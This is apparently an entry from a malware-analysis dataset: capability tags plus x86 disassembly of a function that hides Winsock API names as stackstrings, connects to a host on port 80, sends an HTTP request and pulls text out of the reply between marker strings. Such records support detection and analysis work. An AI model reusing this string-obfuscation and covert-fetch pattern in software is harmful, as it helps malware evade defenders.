Function at 0x412c10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Create tcp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov eax, 0x19a8c
call fcn.00436730
mov eax, dword [0x45f5e0]
xor eax, esp
mov dword [esp + 0x19a84], eax
push ebx
mov al, 0x32
mov byte [esp + 0x1ba], al
mov byte [esp + 0x1bd], al
mov al, 0x6c
mov cl, 0x53
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x1c8], al
mov byte [esp + 0x1c9], al
mov byte [esp + 0x1d0], al
mov byte [esp + 0x1e5], al
mov al, 0x73
mov byte [esp + 0x1c1], cl
mov byte [esp + 0x1d9], cl
mov byte [esp + 0x1db], cl
mov byte [esp + 0x1cd], cl
mov cl, 0x65
mov bl, 0x57
push edi
mov byte [esp + 0x1eb], al
mov byte [esp + 0x1ed], al
lea eax, [esp + 0x1dc]
mov dl, 0x74
mov byte [esp + 0x1d5], cl
mov byte [esp + 0x1ec], cl
mov byte [esp + 0x1f1], cl
mov byte [esp + 0x1c4], bl
mov byte [esp + 0x1dc], bl
mov byte [esp + 0x1d0], bl
push eax
lea ecx, [esp + 0x1c8]
mov bl, 0x6f
push ecx
mov byte [esp + 0x1cf], 0x5f
mov byte [esp + 0x1d0], 0x33
mov byte [esp + 0x1d2], 0x2e
mov byte [esp + 0x1d3], 0x64
mov byte [esp + 0x1d6], 0
mov byte [esp + 0x1e6], 0x41
mov byte [esp + 0x1e8], dl
mov byte [esp + 0x1e9], 0x61
mov byte [esp + 0x1ea], 0x72
mov byte [esp + 0x1eb], dl
mov byte [esp + 0x1ec], 0x75
mov byte [esp + 0x1ed], 0x70
mov byte [esp + 0x1ee], 0
mov byte [esp + 0x1da], 0x41
mov byte [esp + 0x1db], 0x43
mov byte [esp + 0x1de], 0x61
mov byte [esp + 0x1df], 0x6e
mov byte [esp + 0x1e0], 0x75
mov byte [esp + 0x1e1], 0x70
mov byte [esp + 0x1e2], 0
mov byte [esp + 0x1f0], 0x63
mov byte [esp + 0x1f2], bl
mov byte [esp + 0x1f6], bl
mov byte [esp + 0x1f7], 0x63
mov byte [esp + 0x1f8], 0x6b
mov byte [esp + 0x1fa], dl
mov byte [esp + 0x1fb], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea edx, [esp + 0x1e8]
mov ebx, eax
push edx
lea eax, [esp + 0x1c8]
push eax
call esi
push eax
call edi
lea ecx, [esp + 0x1d0]
push ecx
lea edx, [esp + 0x1c8]
push edx
mov dword [esp + 0x24], eax
call esi
push eax
call edi
mov ecx, 7
mov esi, 0x453e50
lea edi, [esp + 0x490]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xe1
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x4b3]
push 0
push eax
movsb byte es:[edi], byte [esi]
call fcn.00432d60
lea eax, [esp + 0x49c]
add esp, 0xc
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412e20
sub eax, esi
push 0x42
lea ecx, [esp + 0x494]
call fcn.00412be0
xor ecx, ecx
push 0x18e
push ecx
lea edx, [esp + 0x3e]
push edx
mov word [esp + 0x40], cx
call fcn.00432d60
push 0x1ff
lea eax, [esp + 0x2a5]
push 0
push eax
mov byte [esp + 0x2ac], 0
call fcn.00432d60
add esp, 0x1c
lea ecx, [esp + 0x30]
push ecx
push 0x202
call ebx
test eax, eax
je 0x412e84
xor eax, eax
jmp 0x413343
xor eax, eax
jmp 0x412e90
mov cl, byte [esp + eax + 0x490]
mov byte [esp + eax + 0x690], cl
inc eax
test cl, cl
jne 0x412e90
cmp byte [esp + 0x690], 0x2f
lea edx, [esp + 0x690]
je 0x412ebf
cmp byte [edx], 0
je 0x412ebf
inc edx
cmp byte [edx], 0x2f
jne 0x412eb4
lea eax, [esp + 0x690]
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412ed0
sub eax, esi
mov ecx, edx
lea esi, [esp + 0x690]
sub ecx, esi
cmp ecx, eax
jne 0x412ef7
mov eax, 0x2f
mov word [esp + reloc.shlwapi.dll_PathRemoveFileSpecA], ax
jmp 0x412f0c
lea esi, [esp + 0x490]
mov eax, edx
sub esi, edx
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x412f02
mov byte [edx], 0
xor eax, eax
mov cl, byte [esp + eax + 0x690]
mov byte [esp + eax + 0x890], cl
inc eax
test cl, cl
jne 0x412f11
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 0x890]
mov ebp, eax
push ecx
mov dword [esp + 0x14], ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x412e7d
mov edx, 2
mov word [esp + 0x20], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push 0x50
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
lea eax, [esp + 0x290]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x412f76
mov ecx, dword [0x453e74]
mov dl, byte [0x453e78]
mov dword [eax], ecx
mov byte [eax + 4], dl
lea eax, [esp + 0x490]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412f98
lea edi, [esp + 0x290]
sub eax, edx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x412fb0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x290]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x412fd0
mov ecx, dword [0x453e7c]
mov edx, dword [0x453e80]
mov dword [eax], ecx
mov ecx, dword [0x453e84]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
lea eax, [esp + 0x290]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x413000
mov edx, dword [0x453e88]
mov cx, word [0x453e8c]
mov dword [eax], edx
mov dl, byte [0x453e8e]
mov word [eax + 4], cx
mov byte [eax + 6], dl
lea eax, [esp + 0x890]
mov edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413030
lea edi, [esp + 0x290]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x413041
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x290]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x413061
mov ecx, dword [0x453e90]
mov edx, dword [0x453e94]
mov dword [eax], ecx
mov ecx, dword [0x453e98]
mov dword [eax + 4], edx
mov edx, dword [0x453e9c]
mov dword [eax + 8], ecx
mov ecx, dword [0x453ea0]
mov dword [eax + 0xc], edx
mov edx, dword [0x453ea4]
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], edx
push 0x10
lea eax, [esp + 0x24]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_connect]
lea eax, [esp + 0x290]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4130b6
push 0
sub eax, edx
push eax
lea ecx, [esp + 0x298]
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [sym.imp.WS2_32.dll_recv]
push 0
push 0x200
push 0x463c90
push ebp
mov dword [esp + 0x24], 0
call ebx
test eax, eax
jle 0x413137
lea ebp, [esp + 0xa90]
lea esp, [esp]
mov edx, dword [esp + 0x10]
add dword [esp + 0x14], 0x200
push 0
push 0x200
push 0x463c90
mov edi, ebp
mov ecx, 0x80
mov esi, 0x463c90
push edx
rep movsd dword es:[edi], dword [esi]
add ebp, 0x200
call ebx
test eax, eax
jg 0x413100
mov ebp, dword [esp + 0x10]
push ebp
call dword [esp + 0x20]
call dword [esp + 0x18]
mov eax, dword [0x453ea8]
mov cx, word [0x453eac]
xor edi, edi
push 0x2c
lea edx, [esp + 0x1fe]
push edi
push edx
mov dword [esp + 0x1c], edi
xor ebx, ebx
mov dword [esp + 0x200], eax
mov word [esp + reloc.shlwapi.dll_PathRemoveFileSpecA], cx
call fcn.00432d60
lea eax, [esp + 0x200]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413180
sub eax, edx
push 0x37
lea ecx, [esp + 0x1f8]
call fcn.00412be0
mov ecx, dword [0x453eb4]
mov edx, dword [0x453eb8]
mov eax, dword [0x453eb0]
push 0x52
mov dword [esp + 0x238], edx
mov dword [esp + 0x230], eax
mov eax, dword [0x453ebc]
mov dword [esp + 0x234], ecx
mov cx, word [0x453ec0]
lea edx, [esp + 0x242]
push edi
push edx
mov dword [esp + 0x244], eax
mov word [esp + reloc.shlwapi.dll_PathRemoveFileSpecA], cx
call fcn.00432d60
lea eax, [esp + 0x238]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4131f5
sub eax, edx
push 0x21d
lea ecx, [esp + 0x22c]
call fcn.00412be0
add esp, 4
cmp dword [esp + 0x14], edi
jbe 0x413317
lea esp, [esp]
mov al, byte [esp + 0x228]
cmp byte [esp + edi + 0xa90], al
lea ebp, [esp + edi + 0xa90]
jne 0x413291
lea eax, [esp + 0x228]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413243
sub eax, esi
je 0x413274
mov edi, edi
mov cl, byte [edx + ebp]
cmp cl, byte [esp + edx + 0x228]
jne 0x413274
lea eax, [esp + 0x228]
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413267
sub eax, esi
cmp edx, eax
jb 0x413250
lea eax, [esp + 0x228]
lea esi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413280
sub eax, esi
cmp edx, eax
jne 0x413291
add edi, edx
mov ebx, edi
test ebx, ebx
jle 0x413304
mov dl, byte [esp + 0x1f4]
cmp byte [esp + edi + 0xa90], dl
lea ebp, [esp + edi + 0xa90]
jne 0x413304
lea eax, [esp + 0x1f4]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4132b8
sub eax, esi
je 0x4132ed
mov al, byte [edx + ebp]
cmp al, byte [esp + edx + 0x1f4]
jne 0x4132ed
lea eax, [esp + 0x1f4]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4132e0
sub eax, esi
cmp edx, eax
jb 0x4132c3
lea eax, [esp + 0x1f4]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4132f7
sub eax, esi
cmp edx, eax
je 0x413311
inc edi
cmp edi, dword [esp + 0x14]
jb 0x413220
jmp 0x413317
sub edi, ebx
mov dword [esp + 0x10], edi
mov ebp, dword [esp + 0x10]
lea edi, [ebp + 1]
push edi
call fcn.0041381c
push edi
mov esi, eax
push 0
push esi
call fcn.00432d60
push ebp
lea ecx, [esp + ebx + 0xaa4]
push ecx
push esi
call fcn.00436890
add esp, 0x1c
mov eax, esi
mov ecx, dword [esp + 0x19a94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004314cc
add esp, 0x19a8c
ret